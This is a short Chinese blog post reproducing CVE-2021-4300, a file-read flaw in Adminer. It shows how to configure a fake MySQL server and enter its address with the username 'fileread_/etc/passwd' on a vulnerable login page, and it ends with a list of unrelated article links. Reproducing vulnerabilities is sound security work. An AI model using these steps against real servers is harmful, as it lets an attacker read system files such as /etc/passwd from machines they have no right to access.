当前位置： 首页 > backend >正文

CVE-2021-4300漏洞复现

backend 2025/8/26 16:17:57

Adminer是一个PHP编写的开源数据库管理工具，支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。 

一、伪造服务器

利用mysql-fake-server伪造服务器端，下载地址：GitHub - 4ra1n/mysql-fake-server: 纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用

Bind IP填写本地IP：0.0.0.0，Bind Port填写3306，Cmd file填写要读取的文件：/etc/passwd,

Generate：jdbc:mysql://ip:port?user=fileread_/etc/passwd

二、漏洞利用

在存在漏洞的登录界面填写服务器：192.168.8.179:3306,用户名填写：fileread_/etc/passwd

之后就可以读取目标文件了，但由于我的网络原因未能读取到

http://www.xdnf.cn/news/17950.html

相关文章：

  • 树的直径（树形DP）
  • 云计算-Kubernetes+Istio 实现金丝雀发布：流量管理、熔断、流量镜像、ingreess、污点及pv案例实战
  • 新手向:Python异常处理（try-except-finally）详解
  • LangChain4j：基于 SSE 与 Flux 的 AI 流式对话实现方案
  • Apereo CAS靶场渗透练习
  • Windows常见文件夹cache的作用还有其他缓存类型文件夹的作用
  • pytest介绍（python测试框架）（@pytest.mark.parametrize、@pytest.fixtures）
  • functools：管理函数的工具
  • Autosar Os新手入门
  • Nginx蜘蛛请求智能分流：精准识别爬虫并转发SEO渲染服务
  • 3 种方式玩转网络继电器！W55MH32 实现网页 + 阿里云 + 本地控制互通
  • cuda编程笔记（15）--使用 CUB 和 atomicAdd 实现 histogram
  • Console.ReadLine()用法功能
  • 进程替换：从 “改头换面” 到程序加载的底层逻辑
  • PowerShell来关闭 Windows 安全中心
  • CUDA 编程笔记：CUDA内存模型概述
  • Nginx域名和IP兼容双方的API地址
  • Neural Network Layer｜神经网络的层
  • Latex使用了期刊templates但是字体样式不对
  • Vue 3.5+ Teleport defer 属性详解：解决组件渲染顺序问题的终极方案
  • 数字化与人工智能的崛起及其社会影响研究报告
  • CentOS 7 一键部署 上Maria Database（MariaDB）10.3.38 安装手册（避开 Oracle 19c 路径）
  • UE5多人MOBA+GAS 46、制作龙卷风技能
  • draw.io编辑 UML 类图
  • Cohere 开发企业级大型语言模型（LLM）
  • css实现圆角+边框渐变+背景半透明
  • 开源数据发现平台：Amundsen Frontend Service React 配置 Flask 配置 Superset 预览集成
  • DeepResearch开源与闭源方案对比
  • python线程学习
  • 日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书，共120语法（２）：１１-２０语法